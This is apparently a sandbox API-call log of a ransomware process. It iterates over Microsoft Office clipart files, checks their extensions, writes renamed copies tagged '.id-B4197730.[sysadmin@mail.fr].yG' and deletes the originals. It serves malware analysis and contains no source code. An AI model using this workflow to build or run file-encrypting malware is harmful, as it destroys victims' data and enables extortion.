	[0148.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0148.038] lstrlenW (lpString=".7z") returned 3
	[0148.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0148.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0148.038] lstrlenW (lpString=".dbf") returned 4
	[0148.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0148.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0148.038] lstrlenW (lpString=".1cd") returned 4
	[0148.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0148.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0148.038] lstrlenW (lpString=".jpg") returned 4
	[0148.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0148.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0148.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0148.038] lstrlenW (lpString=".doc") returned 4
	[0148.038] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0148.038] lstrlenW (lpString=".docx") returned 5
	[0148.038] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0148.038] lstrlenW (lpString=".pdf") returned 4
	[0148.038] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0148.038] lstrlenW (lpString=".xls") returned 4
	[0148.038] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0148.039] lstrlenW (lpString=".xlsx") returned 5
	[0148.039] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0148.039] lstrlenW (lpString=".ppt") returned 4
	[0148.039] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0148.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0148.039] lstrlenW (lpString=".zip") returned 4
	[0148.039] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0148.039] lstrlenW (lpString=".rar") returned 4
	[0148.039] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0148.039] lstrlenW (lpString=".bz2") returned 4
	[0148.039] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0148.039] lstrlenW (lpString=".7z") returned 3
	[0148.039] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0148.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0148.039] lstrlenW (lpString=".dbf") returned 4
	[0148.039] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0148.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0148.039] lstrlenW (lpString=".1cd") returned 4
	[0148.039] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0148.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0148.039] lstrlenW (lpString=".jpg") returned 4
	[0148.039] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0148.039] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0148.039] lstrlenW (lpString="FD01196_.WMF") returned 12
	[0148.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0148.040] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=2332) returned 1
	[0148.040] CloseHandle (hObject=0x514) returned 1
	[0148.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 0x220
	[0148.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0148.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0148.041] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.041] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0148.042] GetLastError () returned 0x0
	[0148.042] ReadFile (in: hFile=0x514, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x91c, lpOverlapped=0x0) returned 1
	[0148.092] WriteFile (in: hFile=0x530, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x920, lpOverlapped=0x0) returned 1
	[0148.130] ReadFile (in: hFile=0x514, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0148.130] WriteFile (in: hFile=0x530, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0148.130] SetEndOfFile (hFile=0x530) returned 1
	[0148.130] CloseHandle (hObject=0x530) returned 1
	[0148.130] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.131] SetEndOfFile (hFile=0x514) returned 1
	[0148.134] CloseHandle (hObject=0x514) returned 1
	[0148.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0148.563] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 1
	[0148.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0148.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0148.680] lstrlenW (lpString=".doc") returned 4
	[0148.680] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0148.680] lstrlenW (lpString=".docx") returned 5
	[0148.681] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0148.681] lstrlenW (lpString=".pdf") returned 4
	[0148.681] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0148.681] lstrlenW (lpString=".xls") returned 4
	[0148.681] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0148.681] lstrlenW (lpString=".xlsx") returned 5
	[0148.681] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0148.681] lstrlenW (lpString=".ppt") returned 4
	[0148.681] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0148.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0148.681] lstrlenW (lpString=".zip") returned 4
	[0148.681] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0148.681] lstrlenW (lpString=".rar") returned 4
	[0148.681] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0148.681] lstrlenW (lpString=".bz2") returned 4
	[0148.681] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0148.681] lstrlenW (lpString=".7z") returned 3
	[0148.681] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0148.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0148.681] lstrlenW (lpString=".dbf") returned 4
	[0148.681] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0148.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0148.681] lstrlenW (lpString=".1cd") returned 4
	[0148.681] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0148.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0148.681] lstrlenW (lpString=".jpg") returned 4
	[0148.681] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0148.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0148.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0148.682] lstrlenW (lpString=".doc") returned 4
	[0148.682] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0148.682] lstrlenW (lpString=".docx") returned 5
	[0148.682] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0148.682] lstrlenW (lpString=".pdf") returned 4
	[0148.682] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0148.682] lstrlenW (lpString=".xls") returned 4
	[0148.682] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0148.682] lstrlenW (lpString=".xlsx") returned 5
	[0148.682] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0148.682] lstrlenW (lpString=".ppt") returned 4
	[0148.682] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0148.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0148.682] lstrlenW (lpString=".zip") returned 4
	[0148.682] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0148.682] lstrlenW (lpString=".rar") returned 4
	[0148.682] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0148.682] lstrlenW (lpString=".bz2") returned 4
	[0148.682] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0148.682] lstrlenW (lpString=".7z") returned 3
	[0148.682] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0148.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0148.682] lstrlenW (lpString=".dbf") returned 4
	[0148.683] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0148.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0148.683] lstrlenW (lpString=".1cd") returned 4
	[0148.683] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0148.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0148.683] lstrlenW (lpString=".jpg") returned 4
	[0148.683] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0148.683] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0148.683] lstrlenW (lpString="FD01548_.WMF") returned 12
	[0148.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0148.838] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=10316) returned 1
	[0148.839] CloseHandle (hObject=0x540) returned 1
	[0148.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 0x220
	[0148.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0148.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0148.839] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.839] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0148.840] GetLastError () returned 0x0
	[0148.840] ReadFile (in: hFile=0x540, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x284c, lpOverlapped=0x0) returned 1
	[0148.855] WriteFile (in: hFile=0x4a4, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x2850, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x2850, lpOverlapped=0x0) returned 1
	[0148.860] ReadFile (in: hFile=0x540, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0148.860] WriteFile (in: hFile=0x4a4, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0148.861] SetEndOfFile (hFile=0x4a4) returned 1
	[0148.861] CloseHandle (hObject=0x4a4) returned 1
	[0148.861] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.861] SetEndOfFile (hFile=0x540) returned 1
	[0148.864] CloseHandle (hObject=0x540) returned 1
	[0148.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0148.865] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 1
	[0148.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0148.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0148.866] lstrlenW (lpString=".doc") returned 4
	[0148.866] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0148.866] lstrlenW (lpString=".docx") returned 5
	[0148.866] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0148.866] lstrlenW (lpString=".pdf") returned 4
	[0148.866] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0148.866] lstrlenW (lpString=".xls") returned 4
	[0148.866] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0148.866] lstrlenW (lpString=".xlsx") returned 5
	[0148.866] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0148.867] lstrlenW (lpString=".ppt") returned 4
	[0148.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0148.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0148.867] lstrlenW (lpString=".zip") returned 4
	[0148.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0148.867] lstrlenW (lpString=".rar") returned 4
	[0148.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0148.867] lstrlenW (lpString=".bz2") returned 4
	[0148.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0148.867] lstrlenW (lpString=".7z") returned 3
	[0148.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0148.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0148.867] lstrlenW (lpString=".dbf") returned 4
	[0148.867] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0148.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0148.867] lstrlenW (lpString=".1cd") returned 4
	[0148.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0148.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0148.867] lstrlenW (lpString=".jpg") returned 4
	[0148.867] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0148.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0148.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0148.867] lstrlenW (lpString=".doc") returned 4
	[0148.867] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0148.867] lstrlenW (lpString=".docx") returned 5
	[0148.868] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0148.868] lstrlenW (lpString=".pdf") returned 4
	[0148.868] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0148.868] lstrlenW (lpString=".xls") returned 4
	[0148.868] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0148.868] lstrlenW (lpString=".xlsx") returned 5
	[0148.868] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0148.868] lstrlenW (lpString=".ppt") returned 4
	[0148.868] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0148.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0148.868] lstrlenW (lpString=".zip") returned 4
	[0148.868] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0148.868] lstrlenW (lpString=".rar") returned 4
	[0148.868] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0148.868] lstrlenW (lpString=".bz2") returned 4
	[0148.868] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0148.868] lstrlenW (lpString=".7z") returned 3
	[0148.868] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0148.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0148.868] lstrlenW (lpString=".dbf") returned 4
	[0148.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0148.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0148.868] lstrlenW (lpString=".1cd") returned 4
	[0148.868] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0148.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0148.868] lstrlenW (lpString=".jpg") returned 4
	[0148.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0148.869] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0148.869] lstrlenW (lpString="FD01659_.WMF") returned 12
	[0148.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0148.882] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=31180) returned 1
	[0148.882] CloseHandle (hObject=0x4a4) returned 1
	[0148.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 0x220
	[0148.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0148.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0148.883] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.883] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0148.884] GetLastError () returned 0x0
	[0148.884] ReadFile (in: hFile=0x4a4, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x79cc, lpOverlapped=0x0) returned 1
	[0148.907] WriteFile (in: hFile=0x518, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x79d0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x79d0, lpOverlapped=0x0) returned 1
	[0148.910] ReadFile (in: hFile=0x4a4, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0148.910] WriteFile (in: hFile=0x518, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0148.910] SetEndOfFile (hFile=0x518) returned 1
	[0148.910] CloseHandle (hObject=0x518) returned 1
	[0148.911] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.911] SetEndOfFile (hFile=0x4a4) returned 1
	[0148.916] CloseHandle (hObject=0x4a4) returned 1
	[0148.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0148.917] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 1
	[0148.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0148.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0148.918] lstrlenW (lpString=".doc") returned 4
	[0148.918] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0148.918] lstrlenW (lpString=".docx") returned 5
	[0148.918] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0148.918] lstrlenW (lpString=".pdf") returned 4
	[0148.918] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0148.918] lstrlenW (lpString=".xls") returned 4
	[0148.918] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0148.918] lstrlenW (lpString=".xlsx") returned 5
	[0148.918] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0148.918] lstrlenW (lpString=".ppt") returned 4
	[0148.918] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0148.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0148.918] lstrlenW (lpString=".zip") returned 4
	[0148.918] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0148.918] lstrlenW (lpString=".rar") returned 4
	[0148.918] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0148.918] lstrlenW (lpString=".bz2") returned 4
